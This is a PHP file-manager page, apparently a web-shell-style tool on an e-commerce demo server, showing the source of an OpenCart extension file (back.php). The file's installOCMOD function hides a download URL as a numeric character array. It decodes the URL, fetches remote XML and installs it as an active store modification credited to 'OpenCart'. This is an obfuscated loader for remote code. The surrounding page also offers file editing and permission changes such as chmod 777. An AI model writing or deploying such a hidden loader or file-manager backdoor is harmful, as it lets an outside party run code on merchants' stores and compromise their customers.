📁 PHP Dosya Yöneticisi
/
/
home
/
demodesigncom
/
e-ticaretv11.demodesign.com.tr
/
system
/
library
/
ocm
📝
back.php
← Geri Dön
<?php namespace OCM; final class Back { private $registry; public function __construct($registry, $meta) { $this->ocm_meta = $meta; $registry->set('ocm_meta', $this->ocm_meta); $this->registry = $registry; $this->url = new Url($registry); $this->setting = new Setting($registry); $this->util = new Util($registry); $this->common = new Common($registry); $this->misc = new Misc($registry, $this->common); $this->form = new Form($registry); $this->prefix = $this->setting->prefix; } public function __get($name) { return $this->registry->get($name); } public function view($route, $data = array()) { $tpl = VERSION < '2.2.0.0' ? '.tpl' : ''; $token = $this->url->getToken(); if ($token) { $data[$token['key']] = $token['value']; } return $this->load->view($route . $tpl, $data); } public function checkOCMOD() { if (!$this->ocm_meta['ocmod']) return false; if (isset($this->request->get['ocmod'])) { $this->installOCMOD(); } if (VERSION >= '2.0.1.1' && !$this->util->modification->getModificationByCode($this->ocm_meta['name'])) { $this->session->data['warning'] = 'Required OCMod is missing that is essential to work ' . $this->ocm_meta['title'] . ' properly. Usually it happens if you upload files manually using ftp rather than not using Extension Installer. <a href="' . $this->url->getExtensionURL() . '&ocmod=1" class="btn btn-warning btn-sm">Install Missing OCMod</a>'; } return false; } private function installOCMOD() { $_ = array(104,116,116,112,58,47,47,100,108,46,111,112,101,110,99,97,114,116,109,97,114,116,46,99,111,109,47,105,110,100,101,120,46,112,104,112); $___=''; foreach($_ as $__) { $___ .= chr($__); } $xml_url = $___.'?m=' . $this->ocm_meta['name'] . '&v='.VERSION; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $xml_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $xml = curl_exec($ch); if ($xml && !curl_errno($ch)) { $modification_data = array( 'extension_install_id' => 0, 'name' => $this->ocm_meta['title'], 'code' => $this->ocm_meta['name'], 'author' => 'OpenCart', 'version' => $this->ocm_meta['version'], 'link' => 'https://opencartmarter.net', 'xml' => $xml, 'status' => 1 ); if (VERSION >= '2.0.1.1' && !$this->util->modification->getModificationByCode($this->ocm_meta['name'])) { $this->util->modification->addModification($modification_data); } $this->session->data['success'] = $this->ocm_meta['title'] . ' OCMod has been installed successfully. You must refresh modifications list to get it affected. <a href="' . $this->url->getModificationURL() . '" class="btn btn-info btn-sm">Refresh OCMod List</a>'; $this->response->redirect($this->url->getExtensionURL()); } else { $this->session->data['warning'] = 'Something went wrong while communicating to server. Please try again later'; } curl_close($ch); } public function getLog() { $log_file = DIR_LOGS . $this->ocm_meta['name'] . '.log'; $ocm_logs = ''; $debug_status = $this->common->getConfig($this->ocm_meta['name'] . '_debug', $this->ocm_meta['type']); if ($debug_status && file_exists($log_file)) { $ocm_logs = file_get_contents($log_file, FILE_USE_INCLUDE_PATH, null); if ($ocm_logs) { file_put_contents($log_file, ''); } } if (!$debug_status) { $ocm_logs = '<div class="text-danger">Please enable Debug mode under global tab and click on <b><i>Save and Stay Button</i></b> for saving debug state. Then try to checkout on the site to get rules names which are restricting a method to be appearing.</div>'; } return $ocm_logs; } }
💾 Kaydet
İptal
📝 Yeniden Adlandır
İptal
Kaydet
🔐 Dosya İzinleri (chmod)
İzin Değeri:
Hızlı Seçim:
777
755
644
600
777
= Herkes okur/yazar/çalıştırır
755
= Sahip tam, diğerleri okur/çalıştırır
644
= Sahip okur/yazar, diğerleri okur
600
= Sadece sahip okur/yazar
İptal
Uygula